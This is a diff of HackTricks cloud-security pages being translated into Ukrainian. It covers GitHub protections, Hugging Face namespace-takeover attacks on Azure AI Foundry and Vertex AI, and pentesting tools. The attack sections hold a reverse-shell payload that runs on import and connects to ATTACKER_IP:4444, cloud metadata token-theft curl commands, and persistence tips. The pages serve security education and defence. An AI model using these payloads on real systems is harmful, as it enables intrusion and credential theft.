**action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Там також можна вказати **кількість необхідних рев’ю** перед **виконанням** **action**, що використовує environment, або **чекати** деякий **час** перед тим, як дозволити продовження деплоїв. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +GitHub Action можна **виконувати всередині github environment** або виконувати у **інфраструктурі третьої сторони**, налаштованій користувачем. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Декілька організацій дозволяють запускати GitHub Actions у **інфраструктурі третьої сторони**, оскільки це зазвичай **дешевше**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Ви можете **переглянути self-hosted runners** організації за адресою _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Спосіб знайти, які **GitHub Actions виконуються у не-github інфраструктурі** — шукати `runs-on: self-hosted` у конфігураційному yaml для GitHub Action. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +Неможливо запустити GitHub Action організації всередині self hosted машини іншої організації, тому що **при конфігурації Runner генерується унікальний токен**, який вказує, до якої організації належить runner. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Якщо кастомний **GitHub Runner налаштований на машині всередині AWS або GCP**, наприклад, Action **може мати доступ до metadata endpoint** і **вкрасти токен сервісного облікового запису**, під яким запущена машина. ### Git Action Compromise -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Якщо всім actions (або одному зловмисному action) дозволено виконання, користувач може використати **GitHub action**, який є **зловмисним**, і він **компрометує** **контейнер**, в якому виконується. > [!CAUTION] > A **malicious Github Action** run could be **abused** by the attacker to: @@ -217,41 +217,41 @@ If all actions (or a malicious action) are allowed a user could use a **Github a ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Branch protections призначені, щоб **не давати користувачам повний контроль над репозиторієм**. Мета — **поставити кілька методів захисту перед тим, як можна буде записувати код у певну гілку**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +**Branch protections репозиторію** можна знайти за адресою _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> Неможливо встановити branch protection на рівні організації. Тому всі їх треба оголошувати у кожному репозиторії окремо. -Different protections can be applied to a branch (like to master): +До гілки (наприклад master) можна застосувати різні захисти: -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip"). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- Можна **вимагати PR перед merge** (щоб ви не могли безпосередньо мержити код у гілку). Якщо це вибрано, можуть бути активні й інші захисти: +- **Вимагати певну кількість approvals**. Дуже часто вимагають 1 або 2 додаткових людей для approve PR, щоб один користувач не міг самостійно змінити код. +- **Dismiss approvals when new commits are pushed**. Якщо цього не зробити, користувач може approve легітимний код, а потім додати зловмисний код і змержити його. +- **Require approval of the most recent reviewable push**. Забезпечує, що будь-які нові коміти після approval (включно з пушами інших співпрацівників) ініціюють повторне рев’ю, тож атакер не зможе додати зміни після затвердження і змержити. +- **Require reviews from Code Owners**. Потрібне принаймні 1 схвалення від code owner репозиторію (щоб "випадкові" користувачі не могли його approve). +- **Restrict who can dismiss pull request reviews.** Можна вказати людей або команди, яким дозволено скасовувати рев’ю PR. +- **Allow specified actors to bypass pull request requirements**. Ці користувачі зможуть обходити попередні обмеження. +- **Require status checks to pass before merging.** Деякі перевірки повинні пройти перед тим, як можна буде змержити коміт (наприклад GitHub App, що звітує результати SAST). Порада: прив’язуйте required checks до конкретного GitHub App; інакше будь-який додаток може підробити перевірку через Checks API, і багато ботів приймають директиви пропуску (наприклад "@bot-name skip"). +- **Require conversation resolution before merging**. Всі коментарі в коді мають бути вирішені перед merge PR. +- **Require signed commits**. Коміти мають бути підписані. +- **Require linear history.** Запобігає пушу merge commits у відповідні гілки. +- **Include administrators**. Якщо це не встановлено, адміністратори можуть обходити обмеження. +- **Restrict who can push to matching branches**. Обмежує, хто може робити push у відповідні гілки. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Як бачите, навіть якщо вам вдалось отримати облікові дані користувача, **репозиторії можуть бути захищені й завадити вам запушити код у master**, наприклад, щоб скомпрометувати CI/CD. ## Tag Protections -Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches: +Теги (наприклад latest, stable) за замовчуванням змінювані. Щоб забезпечити процес «чотирьох очей» при оновленнях тегів, захищайте теги і побудуйте ланцюг захистів через environments і гілки: -1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod). -2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**. -3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**. +1) У правилі захисту тега увімкніть **Require deployments to succeed** і вимагайте успішного деплою у захищене environment (наприклад prod). +2) У цільовому environment обмежте **Deployment branches and tags** до релізної гілки (наприклад main) і за бажанням налаштуйте **Required reviewers** з **Prevent self-review**. +3) У релізній гілці налаштуйте branch protections, щоб **Require a pull request**, встановіть approvals ≥ 1, і увімкніть як **Dismiss approvals when new commits are pushed**, так і **Require approval of the most recent reviewable push**. -This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows. +Цей ланцюг запобігає тому, щоб один співпрацівник переклеїв тег або примусово опублікував реліз, редагуючи workflow YAML, оскільки gates деплою контролюються поза workflows. ## References diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md index 9fa484435..148e17562 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -1,18 +1,18 @@ -# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse +# Azure - AI Foundry Post-Exploitation через повторне використання простору імен моделі Hugging Face {{#include ../../../banners/hacktricks-training.md}} ## Сценарій -- Azure AI Foundry Model Catalog містить багато моделей Hugging Face (HF) для розгортання в один клік. -- Ідентифікатори моделей HF мають формат Author/ModelName. Якщо HF author/org видаляється, будь-хто може повторно зареєструвати цього автора й опублікувати модель з тим самим ModelName за legacy path. -- Pipelines і catalogs, що витягують лише за іменем (без commit pinning/integrity), будуть резолвитися на attacker-controlled repos. Коли Azure розгортає модель, loader code може виконатися в середовищі endpoint, надаючи RCE з правами цього endpoint. +- Каталог моделей Azure AI Foundry містить багато моделей Hugging Face (HF) для розгортання в один клік. +- Ідентифікатори моделей HF мають формат Author/ModelName. Якщо HF author/org видаляють, будь-хто може повторно зареєструвати цей авторський акаунт і опублікувати модель з тим самим ModelName на legacy-шляху. +- Pipelines та каталоги, які витягують лише за ім'ям (без commit pinning/цілісності), будуть посилатися на репозиторії, контрольовані атакуючим. Коли Azure розгортає модель, код завантажувача (loader) може виконатися в середовищі endpoint'а, надаючи RCE з правами цього endpoint'а. -Типові випадки takeover у HF: -- Ownership deletion: Old path 404 until takeover. -- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path. +Поширені випадки takeover HF: +- Ownership deletion: старий шлях повертає 404 до моменту захоплення. +- Ownership transfer: старий шлях повертає 307 на нового автора, поки старий автор існує. Якщо старого автора пізніше видалено і повторно зареєстровано, перенаправлення ламається, і репозиторій атакуючого обслуговується на legacy-шляху. -## Виявлення повторно використовуваних просторів імен (HF) +## Виявлення іменних просторів, придатних для повторного використання (HF) ```bash # Check author/org existence curl -I https://huggingface.co/ # 200 exists, 404 deleted/available @@ -21,14 +21,14 @@ curl -I https://huggingface.co/ # 200 exists, 404 deleted/availab curl -I https://huggingface.co// # 307 -> redirect (transfer case), 404 -> deleted until takeover ``` -## Повний ланцюг атаки проти Azure AI Foundry +## End-to-end Attack Flow against Azure AI Foundry -1) У Model Catalog знайдіть HF models, у яких оригінальних авторів видалили або передали (old author removed) на HF. +1) У Model Catalog знайдіть HF models, у яких оригінальні автори були видалені або передані (old author removed) на HF. 2) Повторно зареєструйте покинутого автора на HF і відтворіть ModelName. -3) Опублікуйте шкідливий repo з loader code, який виконується при import або вимагає trust_remote_code=True. -4) Розгорніть legacy Author/ModelName з Azure AI Foundry. Платформа підтягує attacker repo; loader виконується всередині Azure endpoint container/VM, що призводить до RCE з правами endpoint. +3) Опублікуйте зловмисний repo з loader code, який виконується при import або потребує trust_remote_code=True. +4) Розгорніть у Azure AI Foundry спадщинний Author/ModelName. Платформа витягує репозиторій нападника; loader виконується всередині Azure endpoint container/VM, що дає RCE з правами endpoint. -Приклад фрагмента payload, що виконується при import (лише для демонстрації): +Example payload fragment executed on import (for demonstration only): ```python # __init__.py or a module imported by the model loader import os, socket, subprocess, threading @@ -47,40 +47,40 @@ threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Примітки - AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True. -- Доступ зазвичай відповідає дозволам managed identity/service principal кінцевої точки. Розглядайте це як початкову точку доступу для отримання даних та латерального переміщення в межах Azure. +- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure. ## Поради після експлуатації (Azure Endpoint) -- Перелічіть змінні середовища та MSI endpoints для токенів: +- Перелічте змінні середовища та MSI endpoints для токенів: ```bash # Azure Instance Metadata Service (inside Azure compute) curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` -- Перевірте змонтоване сховище, артефакти моделей і доступні служби Azure за допомогою отриманого токена. -- Розгляньте можливість персистенції, залишаючи отруєні артефакти моделей, якщо платформа повторно завантажує їх з HF. +- Перевірте змонтоване сховище, артефакти моделі та доступні Azure services за допомогою отриманого token. +- Розгляньте persistence, залишивши отруєні артефакти моделі, якщо платформа повторно витягує з HF. -## Захисні рекомендації для користувачів Azure AI Foundry +## Рекомендації з захисту для користувачів Azure AI Foundry -- Закріплюйте моделі за конкретним комітом при завантаженні з HF: +- Закріплюйте моделі за commit під час завантаження з HF: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Реплікуйте перевірені HF моделі до довіреного внутрішнього реєстру і розгортайте звідти. -- Безперервно скануйте codebases і defaults/docstrings/notebooks на предмет жорстко прописаних Author/ModelName, які видалено/перенесено; оновлюйте або pin. -- Перевіряйте існування автора та походження моделі перед розгортанням. +- Розміщуйте перевірені HF models у довірчому внутрішньому registry та розгортайте звідти. +- Постійно скануйте codebases та defaults/docstrings/notebooks на предмет жорстко вбудованих Author/ModelName, які видалені/перенесені; оновлюйте або зафіксуйте (pin). +- Перевіряйте існування author та походження (provenance) model перед розгортанням. ## Евристики розпізнавання (HTTP) -- Видалений автор: сторінка автора повертає 404; legacy model path повертає 404 до моменту takeover. -- Перенесена модель: legacy path повертає 307 на нового автора, поки старий автор існує; якщо старий автор пізніше буде видалений і перереєстрований, legacy path слугуватиме attacker content. +- Видалений author: сторінка author повертає 404; legacy model path повертає 404 до моменту takeover. +- Transferred model: legacy path повертає 307 на нового author поки старий author існує; якщо старий author пізніше видаляють і повторно реєструють, legacy path може сервувати зловмисний контент. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` ## Перехресні посилання -- Див. ширшу методологію та зауваження щодо ланцюга постачання: +- Див. загальну методологію та нотатки щодо ланцюга постачання: {{#ref}} ../../pentesting-cloud-methodology.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md index 48999682f..6a7c57226 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Сценарій +## Scenario -- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей. -- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом. -- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки. +- Vertex AI Model Garden дозволяє безпосередньо розгортати багато Hugging Face (HF) моделей. +- HF model identifiers are Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути перереєстроване будь-ким. Атакуючі можуть створити repo з тим самим ModelName за старим шляхом. +- Pipelines, SDKs, або cloud catalogs, які підтягують за ім'ям (без pinning/integrity), підтягнуть repo під контролем атакуючого. Коли модель буде розгорнута, loader code з цього repo може виконатися всередині контейнера endpoint Vertex AI, надаючи RCE з дозволами endpoint. -Два поширені випадки takeover на HF: -- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName. -- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях. +Two common takeover cases on HF: +- Ownership deletion: Старий шлях повертає 404, поки хтось не перереєструє автора і не опублікує той самий ModelName. +- Ownership transfer: HF повертає 307 редиректи зі старого Author/ModelName на нового автора. Якщо старий автор пізніше видаляється і його ім'я перереєструє атакуючий, ланцюжок редиректів буде порушений і repo атакуючого обслуговуватиме старий шлях. -## Визначення повторно використовуваних просторів імен (HF) +## Identifying Reusable Namespaces (HF) -- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover. -- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого. +- Old author deleted: сторінка автора повертає 404; шлях до моделі може повертати 404 до takeover. +- Transferred models: старий шлях моделі повертає 307 на нового власника, поки старий автор існує. Якщо старий автор пізніше видаляється і його ім'я перереєструють, legacy path буде вказувати на repo атакуючого. -Швидкі перевірки за допомогою curl: +Quick checks with curl: ```bash # Check author/org existence curl -I https://huggingface.co/ @@ -28,24 +28,24 @@ curl -I https://huggingface.co// # 307 = redirect to new owner (transfer case) # 404 = missing (deletion case) until someone re-registers ``` -## Повний сценарій атаки проти Vertex AI +## Повний ланцюг атаки проти Vertex AI -1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable: -- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”. -- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений. +1) Виявити повторно використовувані неймспейси моделей, які Model Garden позначає як deployable: +- Знайти HF models у Vertex AI Model Garden, які все ще відображаються як “verified deployable”. +- Перевірити на HF, чи оригінальний author видалений, або чи модель була передана і старий author пізніше видалений. -2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName. +2) Повторно зареєструвати видаленого author на HF та відтворити той самий ModelName. -3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load: -- Побічні ефекти в __init__.py репо -- Custom modeling_*.py або processing code, на які посилається config/auto_map -- Code paths that require trust_remote_code=True in Transformers pipelines +3) Опублікувати шкідливий repo. Включити код, який виконується під час model load. Приклади, які зазвичай виконуються під час HF model load: +- Побічні ефекти в __init__.py репозиторію +- Custom modeling_*.py або processing код, на який посилається config/auto_map +- Шляхи коду, які потребують trust_remote_code=True у Transformers pipelines -4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container. +4) Розгортання у Vertex AI для спадкового Author/ModelName тепер підтягує репозиторій зловмисника. Лоадер виконується всередині контейнера Vertex AI endpoint. -5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions. +5) Payload встановлює доступ із середовища endpoint (RCE) з правами endpoint’а. -Example payload fragment executed on import (for demonstration only): +Приклад фрагмента payload, що виконується при import (тільки для демонстрації): ```python # Place in __init__.py or a module imported by the model loader import os, socket, subprocess, threading @@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Примітки -- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True. -- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP. +- Реальні лоадери можуть відрізнятися. Багато інтеграцій Vertex AI HF клонують та імпортують модулі з репозиторіїв, на які посилається конфігурація моделі (наприклад, auto_map), що може призвести до виконання коду. Для деяких випадків необхідно trust_remote_code=True. +- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP. ## Post-Exploitation Tips (Vertex AI Endpoint) Once code is running inside the endpoint container, consider: -- Перелічити environment variables та metadata для credentials/tokens -- Отримати доступ до attached storage або змонтованих model artifacts +- Перелічити змінні оточення та метадані для виявлення облікових даних/токенів +- Отримати доступ до приєднаного сховища або змонтованих артефактів моделі - Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.) -- Persistence у model artifact якщо платформа re-pulls repo +- Забезпечити персистенцію в артефакті моделі, якщо платформа повторно витягує репозиторій -Перелічте instance metadata, якщо доступно (залежить від контейнера): +Enumerate instance metadata if accessible (container dependent): ```bash curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ``` -## Захисні рекомендації для користувачів Vertex AI +## Рекомендації з безпеки для користувачів Vertex AI -- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню: +- Закріплюйте моделі за commit у HF loaders, щоб запобігти прихованій заміні: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти. -- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті. +- Реплікуйте перевірені HF models у довірений внутрішній artifact store/registry і розгортайте звідти. +- Постійно скануйте codebases і configs на наявність захардкоджених Author/ModelName, які були deleted/transferred; оновлюйте на нові namespaces або закріплюйте за конкретним commit. - У Model Garden перевіряйте походження моделі та існування автора перед розгортанням. -## Евристики виявлення (HTTP) +## Евристики розпізнавання (HTTP) -- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover. -- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого. +- Видалений автор: author page 404; legacy model path 404 до takeover. +- Передана модель: legacy path 307 на нового автора, поки старий автор існує; якщо старого автора пізніше видалять і повторно зареєструють, legacy path починає віддавати attacker content. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` ## Перехресні посилання -- Див. ширшу методологію та зауваження щодо ланцюга постачання: +- Див. ширшу методологію та нотатки щодо ланцюга постачання: {{#ref}} ../../pentesting-cloud-methodology.md diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 5ecd0f8f7..51a8b0146 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,4 +1,4 @@ -# Pentesting Хмарна методологія +# Pentesting Cloud Методологія {{#include ../banners/hacktricks-training.md}} @@ -6,39 +6,39 @@ ## Базова методологія -Кожна хмара має свої особливості, але загалом є кілька **загальних речей, які pentester повинен перевірити**, тестуючи хмарне середовище: +Кожна cloud має свої особливості, але загалом є кілька **спільних речей, які повинен перевірити pentester** під час тестування cloud-середовища: - **Перевірки бенчмарку** -- Це допоможе вам **зрозуміти розміри** середовища та **використовувані сервіси** -- Також дозволить знайти деякі **швидкі misconfigurations**, оскільки більшість цих перевірок можна виконати за допомогою **automated tools** -- **Перерахування сервісів** -- Швидше за все ви не знайдете набагато більше misconfigurations тут, якщо правильно виконали бенчмарк-перевірки, але можете знайти ті, які не шукали під час бенчмарку. -- Це дозволить вам знати **що саме використовується** в хмарному середовищі -- Це дуже допоможе на наступних кроках -- **Перевірка відкритих ресурсів** -- Це можна зробити під час попереднього розділу — потрібно **знайти все, що потенційно доступне з Інтернету** і як до цього можна отримати доступ. -- Тут маю на увазі **вручну виставлену інфраструктуру** — наприклад інстанси з веб-сторінками або з відкритими портами, а також інші **керовані хмарні сервіси, які можна налаштувати як відкриті** (наприклад DBs або buckets) -- Далі потрібно перевірити **чи може цей ресурс бути доступним** (конфіденційна інформація? вразливості? misconfigurations у відкритому сервісі?) -- **Перевірка дозволів** -- Тут потрібно **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються -- Занадто **багато облікових записів з високими привілеями** (контролюють усе)? Згенеровані ключі не використовуються?... Більшість цих перевірок уже має бути виконано під час бенчмарку -- Якщо клієнт використовує OpenID або SAML або іншу **federation**, можливо, вам доведеться попросити додаткову **інформацію** про **як призначається кожна роль** (це не те саме, коли роль admin призначена 1 користувачу чи 100) -- Недостатньо просто знайти, які користувачі мають права admin "\*:\*". Є багато **інших дозволів**, які залежно від використаних сервісів можуть бути дуже **чутливими**. -- Більше того, існують **потенційні privesc** шляхи, які можна використати, зловживаючи дозволами. Усі ці речі треба врахувати і **задокументувати якомога більше privesc шляхів**. -- **Перевірка інтеграцій** -- Дуже ймовірно, що всередині хмарного середовища використовуються **інтеграції з іншими хмарами або SaaS**. -- Для **інтеграцій між хмарою, яку ви аудитуєте, та іншими платформами** ви повинні повідомити **хто має доступ (для зловживання) цією інтеграцією** і запитати **наскільки чутлива дія**, яка виконується.\ -Наприклад, хто може записувати в AWS bucket, з якого GCP отримує дані (запитайте, наскільки чутлива дія в GCP при обробці цих даних). -- Для **інтеграцій всередині хмари, яку ви аудитуєте, з зовнішніх платформ**, ви повинні запитати **хто має зовнішній доступ (для зловживання) цією інтеграцією** і перевірити, як ці дані використовуються.\ -Наприклад, якщо сервіс використовує Docker image, розміщений у GCR, потрібно дізнатися, хто має доступ змінювати його і яку чутливу інформацію та доступ отримає цей image при виконанні всередині AWS cloud. +- Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси** +- Це також дозволить знайти деякі **швидкі misconfigurations**, оскільки більшість цих тестів можна виконати за допомогою **automated tools** +- **Services Enumeration** +- Якщо ви правильно провели перевірки бенчмарку, ймовірно, тут ви не знайдете значно більше misconfigurations, але можете знайти ті, які не шукали під час бенчмарку. +- Це дозволить вам зрозуміти **що саме використовується** в cloud-середовищі +- Це дуже допоможе в наступних кроках +- **Check exposed assets** +- Це можна зробити під час попереднього розділу, вам потрібно **знайти все, що потенційно якось доступне з Інтернету**, і як до цього можна отримати доступ. +- Тут я маю на увазі **мануально експоновану інфраструктуру** — наприклад інстанси з веб-сторінками або іншими відкритими портами, а також інші **cloud managed services, які можуть бути налаштовані** як експоновані (наприклад DBs або buckets) +- Потім потрібно перевірити **чи може цей ресурс бути експонований чи ні** (конфіденційна інформація? вразливості? misconfigurations в експонованому сервісі?) +- **Check permissions** +- Тут потрібно **виявити всі права кожної ролі/користувача** в хмарі та як вони використовуються +- Занадто багато **високопривілейованих** (контролюють все) облікових записів? Згенеровані ключі не використовуються?… Більшість цих перевірок вже повинні були бути виконані під час бенчмарку +- Якщо клієнт використовує OpenID або SAML або іншу **федерацію**, вам можливо доведеться попросити у них додаткову **інформацію** про **те, як призначається кожна роль** (не одне й те саме, коли роль admin призначена 1 користувачу або 100) +- Недостатньо просто знайти, які користувачі мають права **admin** "\*:\*". Є багато **інших прав**, які в залежності від використаних сервісів можуть бути дуже **чутливими**. +- Більше того, існують **потенційні privesc** шляхи для аб’юзу прав. Усі ці речі слід враховувати і слід повідомити **якомога більше privesc paths**. +- **Check Integrations** +- Дуже ймовірно, що всередині cloud-середовища використовуються **integrations з іншими clouds або SaaS**. +- Для **інтеграцій cloud, який ви аудитуєте**, з іншими платформами слід вказати **хто має доступ для (зловживання) цією інтеграцією** і запитати **наскільки чутливою** є дія, що виконується.\ +Наприклад, хто може записувати в AWS bucket, звідки GCP отримує дані (запитайте, наскільки чутлива дія в GCP при обробці цих даних). +- Для **інтеграцій всередині cloud, який ви аудитуєте**, з зовнішніх платформ слід запитати **хто має зовнішній доступ для (зловживання) цією інтеграцією** і перевірити, як ці дані використовуються.\ +Наприклад, якщо сервіс використовує Docker image, розміщений в GCR, потрібно дізнатися, хто має доступ модифікувати його і які чутливі дані та доступи отримає цей образ при виконанні всередині AWS cloud. -## Інструменти для Multi-Cloud +## Інструменти Multi-Cloud -Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки встановлення та посилання будуть наведені в цьому розділі. +Є кілька інструментів, які можна використовувати для тестування різних cloud-середовищ. Кроки встановлення та посилання будуть вказані в цьому розділі. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Інструмент для **виявлення неправильних конфігурацій і privesc шляхів у хмарах та між хмарами/SaaS.** +Інструмент для **виявлення неправильних конфігурацій та privesc path у clouds та між clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Він підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера на [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера в [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -168,9 +168,9 @@ steampipe check all ```
-Перевірити всі проекти +Перевірити всі проєкти -Щоб перевірити всі проекти, потрібно згенерувати файл `gcp.spc`, що вказує всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту +Щоб перевірити всі проєкти, потрібно згенерувати файл `gcp.spc`, який вказує всі проєкти для тестування. Ви можете просто слідувати вказівкам зі скрипта нижче ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,9 +194,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Щоб переглянути **інші GCP insights** (корисно для перерахування сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Щоб перевірити **інші GCP інсайти** (корисно для перерахування сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Щоб переглянути Terraform GCP код: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Щоб перевірити Terraform GCP код: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) Більше GCP плагінів для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} @@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Щоб перевірити код Terraform для AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Більше AWS-плагінів для Steampipe: 